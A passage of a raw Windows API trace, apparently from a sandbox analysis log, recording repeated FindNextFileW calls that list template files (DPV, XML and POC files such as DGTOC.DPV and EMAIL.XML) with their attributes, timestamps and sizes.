lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x219bb1e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x219bb1e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x219bb1e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGLINACC.DPV", cAlternateFileName="")) returned 1 [0283.848] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x219bb1e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x219bb1e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21bab08a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGLINACC.XML", cAlternateFileName="")) returned 1 [0283.848] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x219bb1e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x219bb1e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x219bb1e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ebf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGLOGO.DPV", cAlternateFileName="")) returned 1 [0283.848] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGLOGO.XML", cAlternateFileName="")) returned 1 [0283.848] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe39, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGMAIN.XML", cAlternateFileName="")) returned 1 [0283.848] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x219bb1e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x219bb1e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x219bb1e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGMARQ.DPV", cAlternateFileName="")) returned 1 [0283.848] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x219bb1e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x219bb1e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x219bb1e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGMARQ.XML", cAlternateFileName="")) returned 1 [0283.848] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x219bb1e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x219bb1e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a53b55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50f94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGMASTHD.DPV", cAlternateFileName="")) returned 1 [0283.848] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x219bb1e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x219bb1e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x219bb1e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGNAVBAR.DPV", cAlternateFileName="")) returned 1 [0283.848] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGNAVBAR.XML", cAlternateFileName="")) returned 1 [0283.848] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21bab08a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21bab08a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21bab08a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGPICCAP.DPV", cAlternateFileName="")) returned 1 [0283.849] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1aca, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGPICCAP.XML", cAlternateFileName="")) returned 1 [0283.849] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a53b55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a53b55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a53b55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x938f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGPQUOT.DPV", cAlternateFileName="")) returned 1 [0283.849] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGPQUOT.XML", cAlternateFileName="")) returned 1 [0283.849] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a2da43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a2da43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a53b55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGPUNCT.DPV", cAlternateFileName="")) returned 1 [0283.849] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGPUNCT.XML", cAlternateFileName="")) returned 1 [0283.849] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a2da43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a2da43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a53b55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e87, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGREPFRM.DPV", cAlternateFileName="")) returned 1 [0283.849] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGREPFRM.XML", cAlternateFileName="")) returned 1 [0283.849] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a2da43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a2da43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21bab08a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae41, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGSIDEBR.DPV", cAlternateFileName="")) returned 1 [0283.849] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGSIDEBR.XML", cAlternateFileName="")) returned 1 [0283.850] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc74eab3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc74eab3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc74eab3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xde6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGSIDEBRV.XML", cAlternateFileName="DGSIDE~1.XML")) returned 1 [0283.850] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc74eab3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc74eab3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc74eab3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb84, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGSTORY.XML", cAlternateFileName="")) returned 1 [0283.850] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc74eab3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb84, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGSTORYVERT.XML", cAlternateFileName="DGSTOR~1.XML")) returned 1 [0283.850] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a2da43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a2da43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21bab08a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGTEAR.DPV", cAlternateFileName="")) returned 1 [0283.850] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21bab08a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21bab08a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21bab08a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGTOC.DPV", cAlternateFileName="")) returned 1 [0283.850] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc74eab3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1712, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGTOC.XML", cAlternateFileName="")) returned 1 [0283.850] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc74eab3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBAD.XML", cAlternateFileName="")) returned 1 [0283.850] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a2da43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a2da43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21bab08a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBBTN.DPV", cAlternateFileName="")) returned 1 [0283.850] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x110e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBBTN.XML", cAlternateFileName="")) returned 1 [0283.851] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a2da43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a2da43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a53b55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x301be, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBCAL.DPV", cAlternateFileName="")) returned 1 [0283.851] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc74eab3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBCAL.XML", cAlternateFileName="")) returned 1 [0283.851] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a2da43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a2da43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21bab08a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f814, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBHD.DPV", cAlternateFileName="")) returned 1 [0283.851] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc74eab3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1dbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBHD.XML", cAlternateFileName="")) returned 1 [0283.851] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21bf74fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21bf74fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21bf74fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBPQT.DPV", cAlternateFileName="")) returned 1 [0283.851] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBPQT.XML", cAlternateFileName="")) returned 1 [0283.851] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x220, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBREF.XML", cAlternateFileName="")) returned 1 [0283.851] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a53b55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a53b55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a79da4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6df7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBSBR.DPV", cAlternateFileName="")) returned 1 [0283.852] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc74eab3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc74eab3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc74eab3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGWEBSBR.XML", cAlternateFileName="")) returned 1 [0283.852] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a53b55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a53b55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a79da4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGZIP.DPV", cAlternateFileName="")) returned 1 [0283.852] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc74eab3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc74eab3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc74eab3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGZIPC.XML", cAlternateFileName="")) returned 1 [0283.852] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a53b55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a53b55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a79da4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c56, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOTS.POC", cAlternateFileName="")) returned 1 [0283.852] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a53b55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a53b55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a79da4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDHM.POC", cAlternateFileName="")) returned 1 [0283.852] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a53b55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a53b55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a53b55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7dc55, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMAIL.DPV", cAlternateFileName="")) returned 1 [0283.852] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a53b55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a53b55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a79da4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd066, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMAIL.XML", cAlternateFileName="")) returned 1 [0283.853] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a53b55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a53b55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b38968, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMAIL11.POC", cAlternateFileName="")) returned 1 [0283.853] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b127d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b127d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b38968, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a42, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMAILMOD.POC", cAlternateFileName="")) returned 1 [0283.853] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a79da4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a79da4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b38968, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc5fa, dwReserved0=0x0, 